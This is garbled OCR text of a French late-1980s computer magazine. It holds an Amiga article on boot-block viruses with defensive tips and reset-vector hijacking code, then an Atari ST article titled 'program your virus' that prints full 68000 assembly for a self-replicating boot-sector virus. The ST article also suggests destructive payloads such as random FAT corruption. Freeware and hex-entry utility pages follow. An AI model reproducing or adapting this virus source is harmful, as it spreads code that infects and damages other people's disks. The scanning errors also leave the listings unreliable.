COPY DF0:C/INSTALL RAM: 
et validez. Après quoi, insérez 
votre disquette malade et 
tapez 

RAMJNSTALL DFO:, 
déprotégez et validez. Ceci a 
pour effet d'inscrire un boot- 
block classique sur votre dis¬ 
quette, ce qui, dans la majorité 
des cas suffit à la ramener à la 
vie. Malheureusement, cer¬ 
tains virus perspicaces sont en 
mesure d'empêcher la fonction 
INSTALL d'agir correctement, 
notamment le «Byte-Bandit 
Virus» (il en existe une bonne 
quinzaine de semblable). 

En voici la raison : ce virus, 
pour être efficace, capture les 
accès disque non directs (qui 
passent par la Rom). C'est évi¬ 
demment le cas pour tous les 
programmes qui utilisent le 
Trackdisk.device, dont la com¬ 
mande INSTALL. Il transfor¬ 
me en fait un accès de lecture 
en un accès d'écriture, tel que 
le seul effet d'INSTALL dans 
ce cas est d'effectuer une nou¬ 
velle copie du virus sur la dis¬ 
quette. 

Nous avons éteint le micro 
avant d'utiliser le CLI, on peut 
donc penser que le virus n'est 
pas encore en mémoire et 
donc n'agira pas. Commencez- 
donc par vérifier votre dis¬ 
quette Workbench qui ne doit 
jamais être déprotégée. Il se 
peut que le Byte-Bandit soit sur 
votre disquette originale, et si 
c’est le cas, la fonction INS¬ 
TALL sera parfaitement inuti¬ 
le. Il se peut également qu'un 
virus soit logé dans un des 
fichiers que vous allez charger. 
Ce fichier lancé contaminera 
les prochaines disquettes,etc. 
A ce propos, une anecdote: les 
virus contiennent toujours en 
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mémoire un pointeur sur le 
nombre de copies du virus 
effectuées. Ce compteur, qui 
permettrait d'évaluer les 
dégâts, n'est malheureuse¬ 
ment pas recopié sur les dis¬ 
quettes. 

La prévention 

Pour les virus de la première 
génération qui se logent dans 
les boot-blocks, j'ai réalisé un 
petit programme judicieux en 
Assembleur: VIRUS _BOO- 
TER. Reportez-vous à Amiga- 
Saisie pour le taper (longueur 
en octets : 1496) et au mode 
d'emploi indu pour le faire 
tourner. Il équivaut à la fonc¬ 
tion 1NSTALL que nous 
venons d'évoquer, à la diffé¬ 
rence près qu'il crée un boot- 
block contenant un program¬ 
me témoin. Ce dernier, après 
utilisation et installation du 
programme sur disquette, fait 
clignoter plusieurs fois la LED 
POWER (voyant rouge) avant 
le chargement normal. Situé 
dans le boot-block, il atteste 
ainsi qu'aucun virus n'y est 
présent. L'absence de clignote¬ 
ment lors d'un boot (lance¬ 
ment), signalera une présence 
incongrue; un virus! 
Personnellement, ce procédé 
appliqué à toutes mes dis¬ 
quettes importantes m'avertit 
depuis de leur éventuelle 
infection. 

Un simple éditeur de secteurs 
permet également l'examen 
des boot-blocks. On trouve 
facilement ces utilitaires dans 
le D. P. ou le commerce. 
Signalons celui présent dans 
l'ouvrage «Le livre du lecteur 
de disquette » (Micro 

Application). Que les plus 
radins ne désespèrent pas d'en 
voir un prochainement publié 
dans Micro-Mag... 

Reste à résoudre le problème 
des virus de la seconde géné¬ 
ration. Citons en un particuliè¬ 
rement célèbre, l'«IRQ- Team 
Virus». Ce qu'il fait n'est pas 
méchant, il modifie des ins¬ 
tructions de la «startup- 
sequence». Seulement, il se 
reproduit sur tous les fichiers 
exécutables. 
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Une solution simple mais fas¬ 
tidieuse permet de localiser 
lesquels sont contaminés. En 
effet, chaque fichier a une lon¬ 
gueur précise exprimée en 
octets que l'on peut connaître 
grâce (par exemple) à la fonc¬ 
tion LIST du CLI. Si l'IRQ s'est 
reproduit, un simple LIST 
signalera une variation sen¬ 
sible de cette valeur. Donc, si 
votre crainte des virus le justi¬ 
fie, notez la longueur de vos 
fichiers et vérifiez-la de temps 
à autre. Evidemment, si vous 
avez 300 fichiers à tester... 
Néanmoins la méthode est 
valable. En ce qui concerne 
l'«IRQ Virus», il existe un pro¬ 
gramme du domaine public 
en mesure de tester ce type de 
virus, il s'agit du «VirusX 
3.20» de Steve Tibbett. Existe 
également le «Virus Expert 
1.4». L'inconvénient de ces 
anti-virus est qu'ils utilisent 
des pointeurs RESET pour 
fonctionner, amenant parfois 
un plantage de la machine. 
Outre son incroyable vitalité, 
le virus dispose d'une routine 
révélatrice de la fantaisie 
(morbide) de son auteur. Cela 
va du petit message sympa¬ 
thique et humoristique comme 
«Bonjour» ou encore «Piracy is 
a crime» (virus Lamer), jus¬ 
qu'à la destruction pure et 
simple de données. En effet, il 
est très simple de manipuler 
des pistes et des secteurs, et en 
moins de temps qu'il ne faut 
pour le dire, le virus dévore 
50% de la disquette. 

Dans le cas de disques durs, et 
c'est donc valable seulement 
pour les virus de la seconde 
génération, des millions de 
données disparaissent en 
quelques secondes. Que faire? 
Rien, il est déjà trop tard. On 
ne peut qu'inciter les pro¬ 
grammeurs à méditer sur la 
cruauté d'un tel acte. J'ai 
même rencontré, sur d'autres 
machines, des virus aptes à 
détruire des composants de 
l'unité centrale. 

Autant de séjours au service- 
Après-Vente du revendeur 
que de regrets (pourquoi ai-je 
lancé ce programme?). 
Toutefois, les virus du boot- 


block sont plus gentils qu'ils 
en ont l'air. Sur Amiga en 
effet, la majorité d’entre-eux 
occasionne une modification 
de quelques données de la dis¬ 
quette, afin par exemple d'en 
empêcher le lancement. 
Quelques manœuvres 
savantes (voir plus haut) suffi¬ 
sent à une guérison certaine. 
Passons maintenant aux prin¬ 
cipes actifs des virus. 

Virus mode d'emploi 

Le RESET (réinitialisation) est 
un passage obligé pour tous 


les virus, car ils doivent empê¬ 
cher l'Amiga d'entamer une 
procédure d'initialisation inté¬ 
grale (question de survie). 
Dans le bas de la RAM figu¬ 
rent des vecteurs, lesquels 
sont justement utilisés lors 
d'un RESET. Il est par consé¬ 
quent possible de diriger la 
machine et le 68000 lors de 
cette phase critique. 

• RESET du 68000 
Il peut être réinitialisé sans 
que le reste de l'Amiga en soit 
prévenu. Voici un cas clas¬ 
sique: imaginons qu'il y ait 
une erreur de bus (accès du 
68000 à une adresse impaire 
lors d'un adressage 16 ou 32 
bits, ou lorsque désynchroni¬ 
sé, il accède au mauvais bus). 
Le 68000 plante (mode bloqué) 
lorsqu'une double erreur de 
bus apparaît et seul un circuit 
externe peut le tirer d'affaire. 
Si on laisse les interruptions, 
l'un des CIAs de l'Amiga va 
pouvoir déclencher un tel 
signal amorçant une procédu¬ 


re d'initialisation. Le 68000 lit 
alors le contenu 32 bits de 
l’adresse $00000000 et envoie 
cette valeur à SSP, pile super¬ 
viseur. Il place ensuite dans le 
PC, le contenu 32 bits de 
$00000004. Donc, il commence 
dès les prochains cycles, à exé¬ 
cuter des instructions pointées 
par le PC. Et ainsi, lors de la 
réinitialisation (du 68000, pas 
de l'Amiga), le 68000 exécute¬ 
ra automatiquement votre 
programme jusqu'au prochain 
RESET. 

Soit un programme de ce type 
en Assembleur: 


Bien sûr, ce n'est qu'un début. 
S'il n'y a pas de suite, c'est le 
plantage assuré de l'Amiga car 
le vecteur $4 (RESET PC) est 
essentiel au fonctionnement 
interne. Dans ce programme, 
on passe en mode superviseur, 
seul mode d'exécution per¬ 
mettant l'écriture aux adresses 
$0 et $4. 

• RESET de l'Amiga 
Ce RESET est provoqué soit 
par CTRL-AMIGA-AMIGA 
soit par une «Guru's 
Méditation» bien connue des 
Amigaïstes. Ledit RESET est 
l'unique routine d'initialisa¬ 
tion du système. Elle commen¬ 
ce par initialiser des pointeurs 
hardware (CIA, DMA), puis 
fait bizarrement appel à des 
programmes vectorisés, dont 
les vecteurs sont justement 
déposés en RAM. Le premier 
d'entre-eux est le 
«ColdCapture». Là encore, il 
suffit de dévier le vecteur, et 
l'Amiga ira exécuter votre rou¬ 
tine. En temps normal, ce vec- 


MOVE.L $10,Illégal ptr 
MOVE.L #illegal_prg.$10 
ILLEGAL 

MOVE.L illégaljptr.$10 


lllegel_ptr:EC.L 0 

illegalprg: 

ADD.L #2,2CA7) 
ORI.B #7.CA7) 

LEA virus(pc), A0 
MOVE.L A0,$4 
MOVE.L #$80000,$0 
RTE 


aauT. du pointeur de l'exception Illégale 
détournement du vecteur 
lancement du prg. A l'adreaae du vecteur, 
remise en place de l'ancien vecteur. 





teur contient la valeur 0. 
L’Amiga n'y perd donc pas 
son temps. Dans l'autre cas, 
une somme de contrôle 
(Checksum) est effectuée à 
l’aide de plusieurs valeurs 
dans la structure ExecBase. 
Selon l'exactitude de celle-ci, 
l'ossature de l'Amiga 
(ExecBase) sera ou non entiè¬ 
rement reconstituée - éjectant 
toutes les déviations précé¬ 
demment effectuées par 
quelque trouble individu -. Il 
existe de même un autre vec¬ 
teur : «CoolCapture». Celui-ci 
est identique au ColdCapture, 
hormis qu'il est appelé un peu 
plus tard et que le retour au 
RESET n'est plus possible car 
les structures sont initialisées. 
Ces 2 vecteurs ne sont norma¬ 
lement pas initialisés, c'est-à- 
dire qu'ils sont à zéro. La pré¬ 
sence d'une autre valeur dans 
l'un d'eux signifierait à coup 
sûr la présence en mémoire 


d'un virus ou d'un anti-virus. 
Dans les 2 cas, il est préférable 
de les restaurer par le biais 
d'un petit utilitaire de mon 
cru, VECTOR_CHECKER, qui 
les teste et les force à zéro le 
cas échéant. Là réside en fait 
une grande subtilité: ils seront 
remis à zéro sans que le 
CheckSum soit recalculé, pro¬ 
voquant, lors du prochain 
RESET, une restructuration 
d'ExecBase du fait de la 
somme de contrôle erronée. 
Pour lancer ce programme, il 
suffit de taper son nom sous 
CL1, après l'avoir bien évi¬ 
demment tapé et sauvegardé 
sous Amiga- Saisie. Longueur 
en octets : 384. 

Les structures 
mémoires 

Ici, nous abordons un point 
sensible et je préfère ne pas 
trop m'étaler de crainte de 


faire naître quelques vocations 
spontanées. Un virus peut 
s'insérer dans une structure 
mémoire (Memory-List). Cette 
dernière est un nœud conte¬ 
nant les adresses de diverses 
zones mémoires mises en 
place à chaque RESET, sans 
que l'on puisse y faire quoi 
que ce soit. Donc, rien ne peut 
effacer le virus et l'empêcher 
d'accomplir sa tâche meurtriè¬ 
re. Ce procédé très facile à réa¬ 
liser - quelques vectorisations 
et sommes de contrôle - est 
utilisé par tous les virus à 
l'heure actuelle. Seule préven¬ 
tion, quand vous sentez que ça 
«bugge» (pardonnez l'expres¬ 
sion) lors d'un RESET; étei¬ 
gnez la machine. 

Le virus de l'horloge 

On a souvent parlé d'un tel 
virus sur Amiga, ne concer¬ 
nant que les possesseurs d'une 


extension mémoire (avec une 
horloge sur batterie). Le 
monstre se logerait dans la 
RAM spéciale réservée à l'hor¬ 
loge et resterait actif même 
après extinction de la machi¬ 
ne. C'est proprement impos¬ 
sible, car une telle RAM est 
trop petite pour y loger un 
virus! De plus, son contenu 
change perpétuellement. 
Enfin, si l'on coupe le courant, 
les vecteurs pointant vers cette 
RAM spéciale disparaissent et 
le virus ne peut plus être 
lancé. 

Voilà, espérons que cet article 
des plus instructifs vous sera 
profitable, non pour créer vos 
propres virus, mais surtout 
pour vous protéger des pro¬ 
chains qui risquent d'être 
autrement plus féroces et 
résistants. 


Stéphane Rodriguez 



AMIGA 


IMMUNOLOGIE 



B090:BC87 
0902 :92B5 
FDF1:A1D7 
07F8:B120 
0144:FCC6 
55F0:14D8 
33D2:2DA2 
3F81;DF5D 
2495 :864B 
1B21:D130 
A142:E169 
1C1F:8E30 
0C88:B642 
1442:7441 
7B19:E8B8 
2527:D1F4 
0E15:131A 
2913:8F5C 
E5D5:7G35 
6321:ED97 
1C98:AA6C 
B8CC:D77C 
E130:4378 
5802:5438 
8541 ;8FFF 
2841 :D6B6 
2F5A:12A8 
AEA6:6A7E 
2006:1588 
1318:52B0 
A69C:A21D 
6CED; 17 9B 
AF00: 0271 
1E67:28E6 
A016:2A07 
E703:E5A9 
0130:2017 
2002 :285E 
FFFF:A4C3 
FFFF:FFF8 
FFFF:FFF8 
0371:0765 
0C18:A083 
0091:74E8 
B8C0:6382 
0007:CA7D 
0000:B339 
4BB3:DE07 


0000:03F5 
03E9:0436 
2079:9879 
2040:9D6A 
2279:73E2 
2D7C:A759 
4CDF:7AB3 
696F :7F3A 
74E9:9947 
7A20:4603 
4F52: 5603. 
6520 :AE1D 
6961:610A 
7572:D55D 
696E:DC9E 
6520:F43E 
6065:6005 
6065 :B6F9 
2064 :D7F3 
7572:2CD3 
651C:99F1 
0006 :03F6 
0000:0062 
03F2:0BD0 
3194:54A6 
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ST 


IMMUNOLOGIE 


C'est la bébête... 

PROGRAMMEZ VOTRE VIRUS SUR ST ! 


Dans la jungle informatique, les sympa¬ 
thiques petites bestioles que sont les 
virus n'ont pas la vie facile... 
Comme leurs homologues biologiques, 
ils doivent s'installer en mémoire, se 
reproduire et en même temps exécuter des 
actions diverses. Détaillons tout ceci... 


S ur ST, il existe un sec¬ 
teur privilégié nommé 
«boot-secteur» qui est 
le premier secteur de la pre¬ 
mière piste de la première 
face. Il contient toutes les 
informations relatives à la 
disquette (nombre de faces, 
de pistes, de secteurs par 
piste, d'octets par secteur, 
etc.) dont le système d'exploi¬ 
tation a besoin. Il présente en 
outre une caractéristique 
remarquable: si la somme (sur 
un mot) de ses octets donne la 
valeur «magique» $1234, tout 
ce qui suit les paramètres du 
disque sera considéré comme 
un programme et immédiate¬ 
ment chargé puis exécuté. 

Le premier mot du secteur 
étant BRA PRG ( ie:$60xx). 
Comme ce secteur fait 512 
octets dont une soixantaine 
sont réservés aux informa¬ 
tions, il reste environ 450 
octets pour écrire le virus. 

C'est peu 
mais suffisant ! 

Le premier acte du virus est 
de trouver une zone libre où 
s'ébattre à l'aise. Celle sélec¬ 
tionnée se trouve après le buf- 
fer du floppy - on aurait pu 
choisir l'espace réservé aux 
vecteurs utilisateurs !, etc. 

Il y poursuit son exécution en 
détournant sur lui-même la 
routine qui récupère le bios 
parameter bloc (BPB). Celle-ci 
est appelée chaque fois que le 
système a besoin d'informa¬ 


tion sur le média présent. Par 
exemple quand on change 
une disquette et qu'on ouvre 
sa fenetre. 

La reproduction... 

Le virus est maintenant activé 
à chaque demande BPB. Il 
commence par appeler l'an¬ 
cienne routine et sauver le 
résultat. Ensuite, il regarde s'il 
est déjà pré¬ 
sent sur la dis¬ 
quette installée 
dans le lecteur. 

Sinon, il recrée 
un «prototype 
boot-secteur» 
vérolé et l'écrit 
- si la disquette 
n'est pas pro¬ 
tégée ! -. Enfin, 
il restaure le 
résultat BPB 
précédemment 
obtenu et le 
renvoie 
comme le 
ferait une hon¬ 
nête routine. 

Ni vu, ni 
connu... 


Il suffit d'insérer dans le corps 
du virus l'idée la plus vicieuse 
possible réalisable en peu de 
place. Comme base de 
réflexion, on peut imaginer la 
modification aléatoire de 
quelques bits d'un fichier ou 
mieux, de la FAT... 
Considérons également un 
virus qui ne commencerait ses 
destructions qu'après un cer¬ 
tain nombre de copies... 


Le virus décrit a surgi sur ST 
voici environ un an et demi et 
est connu sous le nom de 
«virus type p». Le listing 
donné s'en inspire largement 
mais je serais bien étonné 
d'être poursuivi par le 
concepteur pour' contrefa¬ 
çon...Son code est court et 
peut être amélioré,, par 
exemple, avec l'ajout d'une 
routine le rendant insensible 
au Reset. Bref, ce n'est qu'un 
kit qui se contente d'inverser 
une zone de l'écran. 

Vous avez des informations 
sur les virus ou des disquettes 
suspectes ? Envoyez-les au 
journal. Si la présence de 
virus est détectée, vous trou¬ 
verez ensuite un diagnostic 
sur le serveur. 

Jean-Yves Trétout 


PRECAUTIONS 

- Ne jamais mettre au point un 
virus ou jouer avec en ayant dans le 
lecteur une disquette à laquelle on 
tient. C'est encore plus vrai quand 
il s'agit du disque dur, le débran¬ 
cher! 

- Si vous tapez ce programme, tra¬ 
vaillez sur une copie de votre 
Assembleur. 

- En fin de séance, éteignez votre 
ordinateur et rallumez-le sur une 
disquette saine. 

- Ne pas faire profiter les copains 
de votre dernière idée, il est illégal 
de propager un virus sur leurs dis¬ 
quettes. 


- Pour détruire le virus placé dans 
un boot-secteur exécutable : 

a) éteindre et booter sur une dis¬ 
quette SAINE I 

b) prendre un éditeur de disquettes 
et remplacer par $0000 le premier 
mot du boot-secteur contagieux. 

c) si tous vos supports sont vérolés, 
il faut écrire un petit programme 
qui élimine le virus de la mémoire 
avant d'aller assainir les disquettes. 
Ce n'est pas parce qu'un boot-sec¬ 
teur contient un programme qu'il 
s'agit forcément d'un virus, cer¬ 
tains softs se lancent ainsi. 
Examinez avant de détruire... 
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; Super 
; Gemdos 

; on est en superviseur 
; sauve ancienne pile 

; début... du virus 


init: 

lea sav_pile(PC),A2 
dr.l -(A7) 
move.w #$20,-(A7) 
trap #1 
add.l #6,A7 
move.l D0,(A2) 

jsr debut(PC) 


iea sav_pile(PC),A2 
move.l (A2),-(A7) 
move.w #$20,-(A7) 
trap #1 
add.l #6,A7 


dr.w -(A7) ;Pterm 

trap #1 ; Gemc 

sav_pile ds.l 1 

' fin du lancement, le virus est en mémoire et 

• infestera la première disquette non protégée 

* présente au cours d’un appel BPB 


bras virus ; en route 1 

params ds.b $38 

* reserve de la place pour les informations du boot-secteur 


; restaure pile 
; Super 
; Gemdos 

; retour en utilisateur 


virus: 

lea debut(PC),AO 
move.l $4C6,A1 
add.l #$600,A1 
move.l A1,A2 
move.w #$100,DO 

install: 

move.w (A0)+,(A1)+ 
dbf DO,install 

* le virus s'est copié I 

lea detoume(PC),AO 
lea debut(PC),A1 
sub.l Al,AO 
add.l A0.A2 
jmp (A2) 

* On poursuit l'exécution dans le tampon 
détourné: 

lea sav_bpb(PC),AO 
move.l $472,(AO) 
lea corps(PC),A0 
move.l AO,$472 


rts 


rtsl 


début 

tampon du floppy 
+$600 

une adresse sure... 
taille d'un secteur 


: déplacement 
; adresse dans le tampon 
; et on y va... 


; sauve l'ancien vecteur BPB 
; qui peut servir... 

; la nouvelle routine qui 
; le remplace. 


* L'installation est finie, tout appel BPB doit maintemant 

* passer par le corps du virus 


move.w 8(A6),-(A7) 
move.l sav_bpb(PC),AO 
jsr (AO) 
addq.l #2,A7 
movem.l D0/A0-A1 ,-(A7) 


; device 

; ancienne routine BPB 
; quand faut y aller... 

; ben oui ! 

; sauvegarde du résultat 


• le boot-secteur de la disquette est présent dans le 

* buffer pointé par $4C6 


move.l $4C6,A0 
move.w (AO),DO 
cmp.w #$6038,DO 
beq action 


pointe sur le boot-secteur 
1er mot 

le signe du virus ? “BRA virur 
s'il y est déjà, action ! 


i, reproduction du virus sur la disquette saine 


lea debut(PC),A1 
move.w (A1)+,(A0)+ 
add.l #param_size,A1 
add.l #param_size,AO 
move.w #virus_size,DO 

copie: 

move.w (A1)+,(A0)+ 

dbf DO,copie ; n 

* le buffer est à point pour etre transformé 

* en boot-secteur vérolé grâce à Protobt 

* ( prototype boot-secteur ) 

move.w #1,-(A7) 
move.w #-1,-(A7) 
move.l #-1,-(A7) 
move.l $4C6,-(A7) 
move.w #$12,-(A7) 
trap #14 


; début 

; recopie "BRA virus" = $( 
; saute les paramètres 
;idem 

; taille du reste 


; un boot exécutable ! 

; conserve le type 
; et le numéro de série 
; adresse du buffer 
; Protobt 
; Xbios 


* il ne reste plus qu'à mettre ca sur la disquette 
■ avec Flopwr 


move.w #1,-(A7) 
dr.l -(A7) 
move.w #1,-(A7) 
move.w 8(A6),-(A7) 
dr.l -(A7) 
move.l $4C6,-(A7) 
move.w #9,-(A7) 
trap #14 
add.l #$22,A7 


; 1 secteur 
; face 0, piste 0 
; le 1er secteur 
; sur tel floppy 
; mystère... 

; adresse du buffer 
; Flopwr 
; Xbios 

; tout de même I 


3t maintenant, à votre bon coeur Messieurs-Dames... 


action: 

move.l $44E,A0 
add.l #9920,AO 
move.w #2479, DO 

loop: 

noLI (A0)+ 
dbf DO,loop 

* Ouf I Ca aurait pu etre pire... 


; adresse de l'écran 
; +62 lignes en moyenne résolution. 
; taille du morceau en question 


; restauration des résultats BPB 
; pourquoi pas ? 

; à la prochaine... 


ink A6,#0 
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DOMAINE 

PUBLIC 


Les logiciels 
du domaine public 

FREE ? WHERE ? 


Dans Freeware, vous avez Free, et Ware. 
Free veut dire «gratuit», c'est rarement 
vrai... Ware signifie «truc», «équipe¬ 
ment», «logiciel» dans notre cas. 
Conclusion, un freeware est un logiciel 
gratuit pour votre micro. En théorie... 


L a mode se lance aux 
Etats-Unis, au début 
des années soixante- 
dix, quand les premiers 
Apple et autres IBM enva¬ 
hissent le marché domes¬ 
tique. A cette époque 
héroïque, graphisme, son, 
et commandes du système 
d'exploitation restent som¬ 
maires. Les logiciels du 
commerce sont incomplets: 
l'utilisateur n'est pas encore 
sur-assisté comme aujour¬ 
d'hui. 

Par exemple, tel traitement 
de texte est incapable d’affi¬ 
cher ou d'imprimer des for¬ 


mules mathématiques. Un 
gestionnaire de fichiers ne 
gère pas plus de cinq 
champs... 

Il faut se débrouiller par 
soi-même, et inventer ce 
qui manque. L'informatique 
«domestique» se localise 


alors essentiellement dans 
les campus universitaires: 
inutile de vous dire que les 
étudiants programment et 
bidouillent à tour de bras, 
chacun de son côté. 

Peu à peu, cette foule de 
bouts de programmes, d'op¬ 
tions, de routines, de jeux, 
d'utilitaires, entre en circu¬ 
lation. «Moi, j'ai créé un dri¬ 
ver d’imprimante qui gère 
des graphes» - «Et moi, j'ai 
reprogrammé un Space 
Invaders du feu de Dieu !» - 
«Pff ! Tout ça, c'est rien ! 
Moi j'ai une routine qui dit 
bonjour quant tu allumes 
ton Apple !» - «On échan¬ 
ge?» 

Free cassé ? 

Voilà. Le processus original 
du freeware est lancé. Un 


freeware qui est vraiment 
free... Pas question de mon¬ 
nayer ses créations, pour 
deux raisons: d’abord parce 
qu'elles circulent entre amis, 
ou dans le cadre de l'univer¬ 
sité, une taxe serait mal vue, 
et le système d'échange s’ef¬ 
fondrerait ; ensuite parce 
que ces freewares sont trop 
réduits ou trop ponctuels 
pour intéresser tels quels les 
vrais éditeurs de logiciels... 
On se contentera donc de la 
fierté de rendre service à ses 
amis et de leur prouver ses 
qualités de programmeur. 
Nous venons de vous décri¬ 
re l'âge d'or du freeware. 
Peu à peu, le système se 
pervertit: les échanges inter¬ 
universités instaurent l'usa¬ 
ge de faire payer par l'ac¬ 
quéreur les frais de postage, 
et la disquette-support. 

Puis apparaissent les pre¬ 
miers «sharewares»: en 
page de titre du program¬ 
me, l'auteur dit bonjour, 
décline son identité et son 
adresse, et demande une 
petite somme, au gré de 
l'utilisateur si le programme 
lui a plu. Le procédé fonc¬ 
tionne relativement bien 


SELECTION PC DU MOIS 


• PC-EDIT : autorise des 
documents très impor¬ 
tants (plus de 100 pages) 
stockés en Ram. 
Paramétrage d'impres¬ 
sion. 

• DRAWMAN : calcule et 
génèr-e des graphiques 
(camenberts, courbes, 
graphes-barres, etc.) à 
partir de données tirées 
de DBase, de Lotus, ou 
saisies dans le logiciel- 
même. Impression sur 


Epson ou sur traceur 
HPGL. Carte CGA requi¬ 
se. 

• IMAGE 3D : manipula¬ 
tion d'images en fil de 
fer. Rotations, déforma¬ 
tions, effets divers de 
perspectives et affichages 
permanents des coordon¬ 
nées x,y, et z. 

• CVTMAC : convertit les 

images MacPaint 

Macintosh en fichiers 
PCPaint Plus. 
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aux USA (J. Wright, pro¬ 
grammeur du «célèbre» PC 
Com. 2, affirme avoir reçu 
plus de 13000 dollars pour 
7000 exemplaires en 85/86), 
mais en Europe, où la 
conscience civique informa¬ 
tique (sic) est bien moins 
développée, individualis¬ 


me forcené et système D 
obligent, le shareware ne 
décollera jamais. 

Free-mœurs 

L’écrasante majorité des 
freeware auxquels vous 
pouvez avoir accès nous 


FREEWARE PC 

LES ADRESSES 

•AB SOFT 

13, rue Lacordaire 75015 Paris. 

Tél.: (1) 45 75 50 78. 

• APPLICATIONS 
INFORMATIQUES. 

TéL: (16) 81 57 84 74. 

• CONTROL RESET 

Tél.: (1) 39 4735 07. 

• C.T.I. 

Centre Bonlieu 74000 Annecy. 

• LE CLUB 

DES LOGICIELS 

Immeuble "Le Masters", 

Valentin, 

25048 Besançon Cedex. 

• MILDATA 

3, rue Gustave-Courbet 

78370 Plaisir. 

Tél.: (1) 30 55 60 47. 

• OUF! 

27, rue des Bluets 75011 Paris. 

Tél.: (1)43 38 02 58. 

• PC USER CENTER 

BP 225, 

93523 Saint-Denis Cedex. 

• PG SOFT 

Tél.: (1) 42 93 67 43. 

• PICONET 

Le Pavillon, 84760 
St-Martin-de-la-Brasque. 

Tél.: (16) 90 77 60 15. 

• SOFT CLUB 

19, rue de Chanzy 51100 Reims. 
Tél.: (16) 26 47 42 30. 

• CALVACOM 

36 15 + 1751111 
+ CODE. Abonnement. 

• CANAL 4 

3615 +SMI. 

• VIF MICRO 

3615 + SM 1 + VIF. 

• Et bien sûr... 

36 15 PC MAG et MICRO-MAG 


vient des Etats-Unis (ou à 
la rigueur de Grande 
Bretagne et d'Allemagne) et 
concerne donc les machines 
en vogue là-bas: compa¬ 
tibles PC, Apple et Mac. 
Atari et Amiga tiennent 
une part du marché améri¬ 
cain dérisoire, leurs free¬ 
ware se comptent sur les 
doigts d'une main... Non, 
n'exagérons pas! Mais il y 
en a sans doute à peine 
plus de mille, alors que le 
nombre des freeware PC et 
Apple est tout simplement 
incalculable. 

Mais la dernière perversion 
des freeware, la pire: c'est 
de ne plus être «free», 
jamais! En effet, puisque la 
production française est 
réduite, il faut aller cher¬ 


cher les freeware à l'étran¬ 
ger. Tout service se paye... 
Vous ne trouverez ces free¬ 
ware que de deux façons: 

- soit sous forme de dis¬ 
quettes de compilation, 
commercialisées par des 
éditeurs spécialisés. 

- soit sous forme de ser¬ 
veurs minitel, les pro¬ 
grammes étant téléchar¬ 
geables. Mais un rapide 
calcul vous fera com¬ 
prendre que le coût de 
chargement à l'octet n'est 
pas négligeable... 

Moralité, le terme de «free¬ 
ware», en France, devrait 
obligatoirement être entou¬ 
ré de guillemets. 

Jean-Michel Maman 


ATARI 

ANGLETERRE 


Atari ne fait pas un malheur en 
Angleterre, mais on y trouve 
quelques freeware qui 
devraient bientôt arriver sur le 
marché français : 

- Gamma Chess: bizarre... Un 
plateau d'échecs hexagonal, 
pour s'affronter à trois joueurs 
simultanément. L'ordinateur 
peut gérer vos deux adver¬ 
saires. Graphisme sommaire. 

- Oregon: un jeu d'aventures où 
vous êtes un pionnier de 
l'Ouest américain. Le grand 
problème est de savoir négocier 
avec les tribus indiennes ren¬ 
contrées au passage, c'est-à- 
dire de leur donner les cadeaux 
qu'elles attendent... 

- Italia 90: gestionnaire de pro¬ 
nostics pour la prochaine 
coupe du monde de football. 

- Shoot World Cup: apparem¬ 
ment le même, mais il semble 
que vous puissiez décider des 
options tactiques de chaque 
équipe. 


- STic-On: utilitaire de redéfini¬ 
tion des icônes de base du sys¬ 
tème ST. 

- Antidot 2.0: anti-virus. Une 
nouvelle version annoncée tous 
les deux mois. Quel boulot ! 

- Printor deux menus 
supplémentaires de paramétra¬ 
ge d'impression. 

- Quickspeed: accélérateur. 
Crée une ou plusieurs Ram vir¬ 
tuels. Evite un accès-disque sur 
trois environ. 

- Magic Window; associe la 
création d'une fenêtre libre à la 
pression d'une touche définie 
par l'utilisateur, même lors¬ 
qu'on utilise une autre applica¬ 
tion. On peut écrire (notes) ou 
dessiner de simples traits dans 
la fenêtre, et en sauvegarder le 
contenu. 

- Oooop !: gag. Modifie aléatoi¬ 
rement les correspondances 
clavier-caractères toutes les 
cinq minutes!( Source : Free ! 
Free ! Free ! n°2) 
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PROGRAMMATION 


Saisissez bien, 
saisissez mieux ! 


AMIGA SAISIE 

Equivalent de l’utilitaire Amsaisie desti¬ 
né aux ordinateurs Amstrad CPC, ce 
programme permet la saisie de codes 
hexadécimaux et leur sauvegarde sous la 
forme d’un fichier binaire directement 
exécutable. 


C ompatible avec les 
modèles 500, 1000 et 
2000, Amiga Saisie réa¬ 
lisé en Amiga Basic, devra être 
conservé précieusement et uti¬ 
lisé chaque fois que vous 
découvrirez dans nos colonnes 
un listing au format suivant: 
0001 : 0000-03F3 0000 0000 
0000 0001 0000 0000 :03F4 
- Le premier nombre suivi de 
est le numéro de ligne ser¬ 
vant de référence pour la saisie 
des lignes dé codés. 

- Viennent ensuite huit 
nombres de 16 bits exprimés 
en hexadécimal. 

- Finalement, précédé de la 
fameuse somme d'auto-contrô¬ 
le, antidote à la «Guru 
Méditation». 

L'appel aux librairies que réali¬ 
se le programme nécessite la 
présence des fichiers dos.bmap 
et exec.bmap sur la disquette 
de travail contenant Amiga 
Saisie (et Amiga Basic). Ceux-ci 
figurent dans le répertoire 


BasicDemos de la disquette 
originale Extras 1.2 ou 1.3 
livrée avec la machine et doi¬ 
vent être copiés comme suit 
dans le répertoire principal: 

- charger le Workbench et le 
CLI en cliquant les icônes, 

- taper 

• COPY DF0.C/CD RAM: 

• COPY DF0:C/COPY RAM: 

- mettre dans le lecteur 0 la 
disquette Extras, 

- taper 

• CD DF0: 


• COPY DF0:BASICDEMOS/ 
DOS.BMAP RAM: 

• COPY DF0:BASICDEMOS/ 
EXEC.BMAP RAM: 

- insérer la disquette de travail, 

- taper 

• CD DF0: 

• COPY RAM:DOS.BMAP 
DF0: 

• COPY RAM:EXEC.BMAP 
DF0: 

Mode d'emploi 

Après lancement, précisez la 


longueur du programme à 
générer signalée (en principe) 
dans le mode d'emploi du lis¬ 
ting publié. 

Lors de la saisie des codes 
hexadécimaux: 

- la flèche gauche permet le 
retour en arrière pour d'éven¬ 
tuelles corrections. 

- celle de droite permet d'affi¬ 
cher à l'emplacement du cur¬ 
seur, les caractères de la ligne 
précédente'(très utile pour 
dupliquer une ligne de zéro). 

- le programme s'arrête auto¬ 
matiquement en fin de listing 
et réclame le nom du fichier à 
sauvegarder. 

Le fichier exécutable ainsi créé 
par Amiga Saisie ne possède 
pas d'icône correspondante et 
doit être lancé par le CLI. 
Toutefois, si l'utilisateur 
conçoit une icône, le fichier 
pourra être lancé à partir du 
WorkBench par un double clic- 
kage. 

Stéphane Rodriguez 


' • indique l'endroit où 
' vous devez frapper Return. 

' AmigaSaisie version l.b ■ 

’ (c) Stéphane Rodriguez 01/08/89» 

